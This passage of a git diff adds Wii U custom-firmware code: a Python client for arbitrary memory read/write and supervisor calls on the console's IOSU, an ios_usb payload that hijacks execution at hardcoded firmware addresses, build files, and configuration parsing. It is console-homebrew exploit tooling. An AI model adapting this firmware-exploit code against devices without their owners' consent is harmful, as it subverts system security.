va_start(args, format); + + static char buffer[0x100]; + + vsnprintf(buffer, 0xFF, format, args); + drawString(buffer, x, y); + + va_end(args); +} diff --git a/ios_mcp/source/text.h b/ios_mcp/source/text.h new file mode 100644 index 0000000..b0d5835 --- /dev/null +++ b/ios_mcp/source/text.h @@ -0,0 +1,11 @@ +#ifndef TEXT_H +#define TEXT_H + +#include "types.h" + +void drawSplashScreen(void); +void clearScreen(u32 color); +void drawString(char* str, int x, int y); +void print(int x, int y, const char *format, ...); + +#endif diff --git a/ios_mcp/source/types.h b/ios_mcp/source/types.h new file mode 100644 index 0000000..832bc29 --- /dev/null +++ b/ios_mcp/source/types.h @@ -0,0 +1,29 @@ +#ifndef TYPES_H +#define TYPES_H + + #include + #include + + #define U64_MAX UINT64_MAX + + typedef uint8_t u8; + typedef uint16_t u16; + typedef uint32_t u32; + typedef uint64_t u64; + + typedef int8_t s8; + typedef int16_t s16; + typedef int32_t s32; + typedef int64_t s64; + + typedef volatile u8 vu8; + typedef volatile u16 vu16; + typedef volatile u32 vu32; + typedef volatile u64 vu64; + + typedef volatile s8 vs8; + typedef volatile s16 vs16; + typedef volatile s32 vs32; + typedef volatile s64 vs64; + +#endif diff --git a/ios_mcp/wupclient.py b/ios_mcp/wupclient.py new file mode 100644 index 0000000..9f5c094 --- /dev/null +++ b/ios_mcp/wupclient.py @@ -0,0 +1,756 @@ +# may or may not be inspired by plutoo's ctrrpc +import errno +import socket +import os +import sys +import struct +from time import sleep + +def buffer(size): + return bytearray([0x00] * size) + +def copy_string(buffer, s, offset): + s += "\0" + buffer[offset : (offset + len(s))] = bytearray(s, "ascii") + +def copy_word(buffer, w, offset): + buffer[offset : (offset + 4)] = struct.pack(">I", w) + +def get_string(buffer, offset): + s = buffer[offset:] + if b'\x00' in s: + return s[:s.index(b'\x00')].decode("utf-8") + else: + return s.decode("utf-8") + +class wupclient: + s=None + + def __init__(self, ip='192.168.178.23', port=1337): + self.s=socket.socket() + self.s.connect((ip, port)) + self.fsa_handle = None + self.cwd = "/vol/storage_mlc01" + + def __del__(self): + if self.fsa_handle != None: + self.close(self.fsa_handle) + self.fsa_handle = None + + # fundamental comms + def send(self, command, data): + request = struct.pack('>I', command) + data + + self.s.send(request) + response = self.s.recv(0x600) + + ret = struct.unpack(">I", response[:4])[0] + return (ret, response[4:]) + + # core commands + def read(self, addr, len): + data = struct.pack(">II", addr, len) + ret, data = self.send(1, data) + if ret == 0: + return data + else: + print("read error : %08X" % ret) + return None + + def write(self, addr, data): + data = struct.pack(">I", addr) + data + ret, data = self.send(0, data) + if ret == 0: + return ret + else: + print("write error : %08X" % ret) + return None + + def svc(self, svc_id, arguments): + data = struct.pack(">I", svc_id) + for a in arguments: + data += struct.pack(">I", a) + ret, data = self.send(2, data) + if ret == 0: + return struct.unpack(">I", data)[0] + else: + print("svc error : %08X" % ret) + return None + + def kill(self): + ret, _ = self.send(3, bytearray()) + return ret + + def memcpy(self, dst, src, len): + data = struct.pack(">III", dst, src, len) + ret, data = self.send(4, data) + if ret == 0: + return ret + else: + print("memcpy error : %08X" % ret) + return None + + def repeatwrite(self, dst, val, n): + data = struct.pack(">III", dst, val, n) + ret, data = self.send(5, data) + if ret == 0: + return ret + else: + print("repeatwrite error : %08X" % ret) + return None + + # derivatives + def alloc(self, size, align = None): + if size == 0: + return 0 + if align == None: + return self.svc(0x27, [0xCAFF, size]) + else: + return self.svc(0x28, [0xCAFF, size, align]) + + def free(self, address): + if address == 0: + return 0 + return self.svc(0x29, [0xCAFF, address]) + + def load_buffer(self, b, align = None): + if len(b) == 0: + return 0 + address = self.alloc(len(b), align) + self.write(address, b) + return address + + def load_string(self, s, align = None): + return self.load_buffer(bytearray(s + "\0", "ascii"), align) + + def open(self, device, mode): + address = self.load_string(device) + handle = self.svc(0x33, [address, mode]) + self.free(address) + return handle + + def close(self, handle): + return self.svc(0x34, [handle]) + + def ioctl(self, handle, cmd, inbuf, outbuf_size): + in_address = self.load_buffer(inbuf) + out_data = None + if outbuf_size > 0: + out_address = self.alloc(outbuf_size) + ret = self.svc(0x38, [handle, cmd, in_address, len(inbuf), out_address, outbuf_size]) + out_data = self.read(out_address, outbuf_size) + self.free(out_address) + else: + ret = self.svc(0x38, [handle, cmd, in_address, len(inbuf), 0, 0]) + self.free(in_address) + return (ret, out_data) + + def iovec(self, vecs): + data = bytearray() + for (a, s) in vecs: + data += struct.pack(">III", a, s, 0) + return self.load_buffer(data) + + def ioctlv(self, handle, cmd, inbufs, outbuf_sizes, inbufs_ptr = [], outbufs_ptr = []): + inbufs = [(self.load_buffer(b, 0x40), len(b)) for b in inbufs] + outbufs = [(self.alloc(s, 0x40), s) for s in outbuf_sizes] + iovecs = self.iovec(inbufs + inbufs_ptr + outbufs_ptr + outbufs) + out_data = [] + ret = self.svc(0x39, [handle, cmd, len(inbufs + inbufs_ptr), len(outbufs + outbufs_ptr), iovecs]) + for (a, s) in outbufs: + out_data += [self.read(a, s)] + for (a, _) in (inbufs + outbufs): + self.free(a) + self.free(iovecs) + return (ret, out_data) + + # fsa + def FSA_Mount(self, handle, device_path, volume_path, flags): + inbuffer = buffer(0x520) + copy_string(inbuffer, device_path, 0x0004) + copy_string(inbuffer, volume_path, 0x0284) + copy_word(inbuffer, flags, 0x0504) + (ret, _) = self.ioctlv(handle, 0x01, [inbuffer, bytearray()], [0x293]) + return ret + + def FSA_Unmount(self, handle, path, flags): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + copy_word(inbuffer, flags, 0x284) + (ret, _) = self.ioctl(handle, 0x02, inbuffer, 0x293) + return ret + + def FSA_RawOpen(self, handle, device): + inbuffer = buffer(0x520) + copy_string(inbuffer, device, 0x4) + (ret, data) = self.ioctl(handle, 0x6A, inbuffer, 0x293) + return (ret, struct.unpack(">I", data[4:8])[0]) + + def FSA_OpenDir(self, handle, path): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + (ret, data) = self.ioctl(handle, 0x0A, inbuffer, 0x293) + return (ret, struct.unpack(">I", data[4:8])[0]) + + def FSA_ReadDir(self, handle, dir_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, dir_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x0B, inbuffer, 0x293) + data = bytearray(data[4:]) + unk = data[:0x64] + if ret == 0: + return (ret, {"name" : get_string(data, 0x64), "is_file" : (unk[0] & 128) != 128, "unk" : unk}) + else: + return (ret, None) + + def FSA_CloseDir(self, handle, dir_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, dir_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x0D, inbuffer, 0x293) + return ret + + def FSA_OpenFile(self, handle, path, mode): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + copy_string(inbuffer, mode, 0x284) + (ret, data) = self.ioctl(handle, 0x0E, inbuffer, 0x293) + return (ret, struct.unpack(">I", data[4:8])[0]) + + def FSA_MakeDir(self, handle, path, flags): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + copy_word(inbuffer, flags, 0x284) + (ret, _) = self.ioctl(handle, 0x07, inbuffer, 0x293) + return ret + + def FSA_ReadFile(self, handle, file_handle, size, cnt): + inbuffer = buffer(0x520) + copy_word(inbuffer, size, 0x08) + copy_word(inbuffer, cnt, 0x0C) + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x0F, [inbuffer], [size * cnt, 0x293]) + return (ret, data[0]) + + def FSA_WriteFile(self, handle, file_handle, data): + inbuffer = buffer(0x520) + copy_word(inbuffer, 1, 0x08) # size + copy_word(inbuffer, len(data), 0x0C) # cnt + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x10, [inbuffer, data], [0x293]) + return (ret) + + def FSA_ReadFilePtr(self, handle, file_handle, size, cnt, ptr): + inbuffer = buffer(0x520) + copy_word(inbuffer, size, 0x08) + copy_word(inbuffer, cnt, 0x0C) + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x0F, [inbuffer], [0x293], [], [(ptr, size*cnt)]) + return (ret, data[0]) + + def FSA_WriteFilePtr(self, handle, file_handle, size, cnt, ptr): + inbuffer = buffer(0x520) + copy_word(inbuffer, size, 0x08) + copy_word(inbuffer, cnt, 0x0C) + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x10, [inbuffer], [0x293], [(ptr, size*cnt)], []) + return (ret) + + def FSA_GetStatFile(self, handle, file_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, file_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x14, inbuffer, 0x64) + return (ret, struct.unpack(">IIIIIIIIIIIIIIIIIIIIIIIII", data)) + + def FSA_CloseFile(self, handle, file_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, file_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x15, inbuffer, 0x293) + return ret + + def FSA_ChangeMode(self, handle, path, mode): + mask = 0x777 + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x0004) + copy_word(inbuffer, mode, 0x0284) + copy_word(inbuffer, mask, 0x0288) + (ret, _) = self.ioctl(handle, 0x20, inbuffer, 0x293) + return ret + + # mcp + def MCP_InstallGetInfo(self, handle, path): + inbuffer = buffer(0x27F) + copy_string(inbuffer, path, 0x0) + (ret, data) = self.ioctlv(handle, 0x80, [inbuffer], [0x16]) + return (ret, struct.unpack(">IIIIIH", data[0])) + + def MCP_Install(self, handle, path): + inbuffer = buffer(0x27F) + copy_string(inbuffer, path, 0x0) + (ret, _) = self.ioctlv(handle, 0x81, [inbuffer], []) + return ret + + def MCP_InstallGetProgress(self, handle): + (ret, data) = self.ioctl(handle, 0x82, [], 0x24) + return (ret, struct.unpack(">IIIIIIIII", data)) + + def MCP_CopyTitle(self, handle, path, dst_device_id, flush): + inbuffer = buffer(0x27F) + copy_string(inbuffer, path, 0x0) + inbuffer2 = buffer(0x4) + copy_word(inbuffer2, dst_device_id, 0x0) + inbuffer3 = buffer(0x4) + copy_word(inbuffer3, flush, 0x0) + (ret, _) = self.ioctlv(handle, 0x85, [inbuffer, inbuffer2, inbuffer3], []) + return ret + + def MCP_InstallSetTargetDevice(self, handle, device): + inbuffer = buffer(0x4) + copy_word(inbuffer, device, 0x0) + (ret, _) = self.ioctl(handle, 0x8D, inbuffer, 0) + return ret + + def MCP_InstallSetTargetUsb(self, handle, device): + inbuffer = buffer(0x4) + copy_word(inbuffer, device, 0x0) + (ret, _) = self.ioctl(handle, 0xF1, inbuffer, 0) + return ret + + # syslog (tmp) + def dump_syslog(self): + syslog_address = struct.unpack(">I", self.read(0x05095ECC, 4))[0] + 0x10 + block_size = 0x400 + for i in range(0, 0x40000, block_size): + data = self.read(syslog_address + i, 0x400) + # if 0 in data: + # print(data[:data.index(0)].decode("ascii")) + # break + # else: + print(data.decode("ascii")) + + # file management + def get_fsa_handle(self): + if self.fsa_handle == None: + self.fsa_handle = self.open("/dev/fsa", 0) + return self.fsa_handle + + def mkdir(self, path, flags): + fsa_handle = self.get_fsa_handle() + if path[0] != "/": + path = self.cwd + "/" + path + ret = w.FSA_MakeDir(fsa_handle, path, flags) + if ret == 0: + return 0 + else: + print("mkdir error (%s, %08X)" % (path, ret)) + return ret + + def chmod(self, filename, flags): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret = w.FSA_ChangeMode(fsa_handle, filename, flags) + print("chmod returned : " + hex(ret)) + + def cd(self, path): + if path[0] != "/" and self.cwd[0] == "/": + return self.cd(self.cwd + "/" + path) + fsa_handle = self.get_fsa_handle() + ret, dir_handle = self.FSA_OpenDir(fsa_handle, path if path != None else self.cwd) + if ret == 0: + self.cwd = path + self.FSA_CloseDir(fsa_handle, dir_handle) + return 0 + else: + print("cd error : path does not exist (%s)" % (path)) + return -1 + + def ls(self, path = None, return_data = False): + fsa_handle = self.get_fsa_handle() + if path != None and path[0] != "/": + path = self.cwd + "/" + path + ret, dir_handle = self.FSA_OpenDir(fsa_handle, path if path != None else self.cwd) + if ret != 0x0: + print("opendir error : " + hex(ret)) + return [] if return_data else None + entries = [] + while True: + ret, data = self.FSA_ReadDir(fsa_handle, dir_handle) + if ret != 0: + break + if not(return_data): + if data["is_file"]: + print(" %s" % data["name"]) + else: + print(" %s/" % data["name"]) + else: + entries += [data] + ret = self.FSA_CloseDir(fsa_handle, dir_handle) + return entries if return_data else None + + def dldir(self, path): + if path[0] != "/": + path = self.cwd + "/" + path + entries = self.ls(path, True) + for e in entries: + if e["is_file"]: + print(e["name"]) + self.dl(path + "/" + e["name"],path[1:]) + else: + print(e["name"] + "/") + self.dldir(path + "/" + e["name"]) + + def cpdir(self, srcpath, dstpath): + entries = self.ls(srcpath, True) + q = [(srcpath, dstpath, e) for e in entries] + while len(q) > 0: + _srcpath, _dstpath, e = q.pop() + _srcpath += "/" + e["name"] + _dstpath += "/" + e["name"] + if e["is_file"]: + print(e["name"]) + self.cp(_srcpath, _dstpath) + else: + self.mkdir(_dstpath, 0x600) + entries = self.ls(_srcpath, True) + q += [(_srcpath, _dstpath, e) for e in entries] + + def pwd(self): + return self.cwd + + def cp(self, filename_in, filename_out): + fsa_handle = self.get_fsa_handle() + ret, in_file_handle = self.FSA_OpenFile(fsa_handle, filename_in, "r") + if ret != 0x0: + print("cp error : could not open " + filename_in) + return + ret, out_file_handle = self.FSA_OpenFile(fsa_handle, filename_out, "w") + if ret != 0x0: + print("cp error : could not open " + filename_out) + return + block_size = 0x10000 + buffer = self.alloc(block_size, 0x40) + k = 0 + while True: + ret, _ = self.FSA_ReadFilePtr(fsa_handle, in_file_handle, 0x1, block_size, buffer) + k += ret + ret = self.FSA_WriteFilePtr(fsa_handle, out_file_handle, 0x1, ret, buffer) + sys.stdout.write(hex(k) + "\r"); sys.stdout.flush(); + if ret < block_size: + break + self.free(buffer) + ret = self.FSA_CloseFile(fsa_handle, out_file_handle) + ret = self.FSA_CloseFile(fsa_handle, in_file_handle) + + def df(self, filename_out, src, size): + fsa_handle = self.get_fsa_handle() + ret, out_file_handle = self.FSA_OpenFile(fsa_handle, filename_out, "w") + if ret != 0x0: + print("df error : could not open " + filename_out) + return + block_size = 0x10000 + buffer = self.alloc(block_size, 0x40) + k = 0 + while k < size: + cur_size = min(size - k, block_size) + self.memcpy(buffer, src + k, cur_size) + k += cur_size + ret = self.FSA_WriteFilePtr(fsa_handle, out_file_handle, 0x1, cur_size, buffer) + sys.stdout.write(hex(k) + " (%f) " % (float(k * 100) / size) + "\r"); sys.stdout.flush(); + self.free(buffer) + ret = self.FSA_CloseFile(fsa_handle, out_file_handle) + + def dl(self, filename, directorypath = None, local_filename = None): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + if local_filename == None: + if "/" in filename: + local_filename = filename[[i for i, x in enumerate(filename) if x == "/"][-1]+1:] + else: + local_filename = filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r") + if ret != 0x0: + print("dl error : could not open " + filename) + return + buffer = bytearray() + block_size = 0x400 + while True: + ret, data = self.FSA_ReadFile(fsa_handle, file_handle, 0x1, block_size) + # print(hex(ret), data) + buffer += data[:ret] + sys.stdout.write(hex(len(buffer)) + "\r"); sys.stdout.flush(); + if ret < block_size: + break + ret = self.FSA_CloseFile(fsa_handle, file_handle) + if directorypath == None: + open(local_filename, "wb").write(buffer) + else: + dir_path = os.path.dirname(os.path.abspath(sys.argv[0])).replace('\\','/') + fullpath = dir_path + "/" + directorypath + "/" + fullpath = fullpath.replace("//","/") + mkdir_p(fullpath) + open(fullpath + local_filename, "wb").write(buffer) + + def mkdir_p(path): + try: + os.makedirs(path) + except OSError as exc: # Python >2.5 + if exc.errno == errno.EEXIST and os.path.isdir(path): + pass + else: + raise + + def fr(self, filename, offset, size): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r") + if ret != 0x0: + print("fr error : could not open " + filename) + return + buffer = bytearray() + block_size = 0x400 + while True: + ret, data = self.FSA_ReadFile(fsa_handle, file_handle, 0x1, block_size if (block_size < size) else size) + buffer += data[:ret] + sys.stdout.write(hex(len(buffer)) + "\r"); sys.stdout.flush(); + if len(buffer) >= size: + break + ret = self.FSA_CloseFile(fsa_handle, file_handle) + return buffer + + def fw(self, filename, offset, buffer): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r+") + if ret != 0x0: + print("fw error : could not open " + filename) + return + block_size = 0x400 + k = 0 + while True: + cur_size = min(len(buffer) - k, block_size) + if cur_size <= 0: + break + sys.stdout.write(hex(k) + "\r"); sys.stdout.flush(); + ret = self.FSA_WriteFile(fsa_handle, file_handle, buffer[k:(k+cur_size)]) + k += cur_size + ret = self.FSA_CloseFile(fsa_handle, file_handle) + + def stat(self, filename): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r") + if ret != 0x0: + print("stat error : could not open " + filename) + return + (ret, stats) = self.FSA_GetStatFile(fsa_handle, file_handle) + if ret != 0x0: + print("stat error : " + hex(ret)) + else: + print("flags: " + hex(stats[1])) + print("mode: " + hex(stats[2])) + print("owner: " + hex(stats[3])) + print("group: " + hex(stats[4])) + print("size: " + hex(stats[5])) + ret = self.FSA_CloseFile(fsa_handle, file_handle) + + def up(self, local_filename, filename = None): + fsa_handle = self.get_fsa_handle() + if filename == None: + if "/" in local_filename: + filename = local_filename[[i for i, x in enumerate(local_filename) if x == "/"][-1]+1:] + else: + filename = local_filename + if filename[0] != "/": + filename = self.cwd + "/" + filename + f = open(local_filename, "rb") + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "w") + if ret != 0x0: + print("up error : could not open " + filename) + return + progress = 0 + block_size = 0x400 + while True: + data = f.read(block_size) + ret = self.FSA_WriteFile(fsa_handle, file_handle, data) + progress += len(data) + sys.stdout.write(hex(progress) + "\r"); sys.stdout.flush(); + if len(data) < block_size: + break + ret = self.FSA_CloseFile(fsa_handle, file_handle) + +def mkdir_p(path): + try: + os.makedirs(path) + except OSError as exc: + if exc.errno == errno.EEXIST and os.path.isdir(path): + pass + else: + raise + +def mount_sd(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/sdcard01", "/vol/storage_sdcard", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_sd(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_sdcard", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_slccmpt01(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/slccmpt01", "/vol/storage_slccmpt01", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_slccmpt01(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_slccmpt01", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_odd_content(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/odd03", "/vol/storage_odd_content", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_odd_content(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_odd_content", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_odd_update(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/odd02", "/vol/storage_odd_update", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_odd_update(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_odd_update", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_odd_tickets(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/odd01", "/vol/storage_odd_tickets", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_odd_tickets(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_odd_tickets", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def install_title(path, installToUsb = 0): + mcp_handle = w.open("/dev/mcp", 0) + print(hex(mcp_handle)) + + ret, data = w.MCP_InstallGetInfo(mcp_handle, "/vol/storage_sdcard/"+path) + print("install info : " + hex(ret), [hex(v) for v in data]) + if ret != 0: + ret = w.close(mcp_handle) + print(hex(ret)) + return + + ret = w.MCP_InstallSetTargetDevice(mcp_handle, installToUsb) + print("install set target device : " + hex(ret)) + if ret != 0: + ret = w.close(mcp_handle) + print(hex(ret)) + return + + ret = w.MCP_InstallSetTargetUsb(mcp_handle, installToUsb) + print("install set target usb : " + hex(ret)) + if ret != 0: + ret = w.close(mcp_handle) + print(hex(ret)) + return + + ret = w.MCP_Install(mcp_handle, "/vol/storage_sdcard/"+path) + print("install : " + hex(ret)) + + ret = w.close(mcp_handle) + print(hex(ret)) + +def get_nim_status(): + nim_handle = w.open("/dev/nim", 0) + print(hex(nim_handle)) + + inbuffer = buffer(0x80) + (ret, data) = w.ioctlv(nim_handle, 0x00, [inbuffer], [0x80]) + + print(hex(ret), "".join("%02X" % v for v in data[0])) + + ret = w.close(nim_handle) + print(hex(ret)) + +def read_and_print(adr, size): + data = w.read(adr, size) + data = struct.unpack(">%dI" % (len(data) // 4), data) + for i in range(0, len(data), 4): + print(" ".join("%08X"%v for v in data[i:i+4])) + +if __name__ == '__main__': + w = wupclient() + # mount_sd() + # mount_odd_content() + + # w.up("/media/harddisk1/loadiine_code/homebrew_launcher_rpx/homebrew_launcher.rpx", "homebrew_launcher_rpx.rpx") + # w.up("/media/harddisk1/gx2sploit/gx2sploit.rpx", "homebrew_launcher_rpx.rpx") + # print(w.pwd()) + # w.ls() + w.dump_syslog() + # w.mkdir("/vol/storage_sdcard/usr", 0x600) + # install_title("install", 1) + # get_nim_status() + # w.kill() diff --git a/ios_usb/Makefile b/ios_usb/Makefile new file mode 100644 index 0000000..083d180 --- /dev/null +++ b/ios_usb/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_usb/link.ld b/ios_usb/link.ld new file mode 100644 index 0000000..d313e5b --- /dev/null +++ b/ios_usb/link.ld @@ -0,0 +1,17 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text 0x101312D0 : { + _text_start = .; + build/crt0.o(.init) + *(.text*); + *(.rodata*); + } + _text_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_usb/source/crt0.s b/ios_usb/source/crt0.s new file mode 100644 index 0000000..83d7bb6 --- /dev/null +++ b/ios_usb/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +_start: + b _main diff --git a/ios_usb/source/main.c b/ios_usb/source/main.c new file mode 100644 index 0000000..25da595 --- /dev/null +++ b/ios_usb/source/main.c @@ -0,0 +1,26 @@ +void _main() +{ + + void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; + + int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; + + int saved_handle = *(volatile int*)0x0012F000; + int myret = reply(saved_handle, 0); + if (myret != 0) + ios_shutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); + + + +} diff --git a/libs/libc.a b/libs/libc.a new file mode 100644 index 0000000..10cb849 Binary files /dev/null and b/libs/libc.a differ diff --git a/libs/libgcc.a b/libs/libgcc.a new file mode 100644 index 0000000..d9e1880 Binary files /dev/null and b/libs/libgcc.a differ diff --git a/src/cfw_config.c b/src/cfw_config.c new file mode 100644 index 0000000..35a5d4e --- /dev/null +++ b/src/cfw_config.c @@ -0,0 +1,144 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include "cfw_config.h" +#include "fs/fs_utils.h" + +static int split_string(const char *string, char splitChar, char *left, char *right, int size) +{ + int cnt = 0; + char *writePtr = left; + + while(*string != '\0' && *string != '\n' && *string != '\r' && *string != splitChar && (cnt+1) < size) + { + *writePtr++ = *string++; + cnt++; + } + + *writePtr = 0; + *right = 0; + + writePtr--; + + // remove trailing spaces + while(writePtr > left && *writePtr == ' ') + *writePtr-- = 0; + + if(*string == splitChar) + { + string++; + writePtr = right; + + // skip spaces after split character + while(*string == ' ') + string++; + + cnt = 0; + while(*string != '\0' && *string != '\n' && *string != '\r' && (cnt+1) < size) + { + *writePtr++ = *string++; + } + *writePtr = 0; + return 1; + } + else + { + return -1; + } +} + +void default_config(cfw_config_t * config) +{ + memset(config, 0, sizeof(cfw_config_t)); + config->viewMode = 0; + config->directLaunch = 0; + config->launchImage = 1; + config->redNAND = 0; + config->seeprom_red = 0; + config->otp_red = 0; + config->syshaxXml = 0; +} + +int read_config(cfw_config_t * config) +{ + FILE *pFile = fopen(CONFIG_PATH, "rb"); + if(!pFile) + return -1; + + char option[64]; + char value[64]; + char line[0x100]; + + while(fgets(line, sizeof(line), pFile) != 0) + { + if(line[0] == '#' || line[0] == '[') + continue; + + if(split_string(line, '=', option, value, sizeof(option)) == 1) + { + if(strcmp(option, "directLaunch") == 0) + config->directLaunch = atoi(value); + else if(strcmp(option, "launchImage") == 0) + config->launchImage = 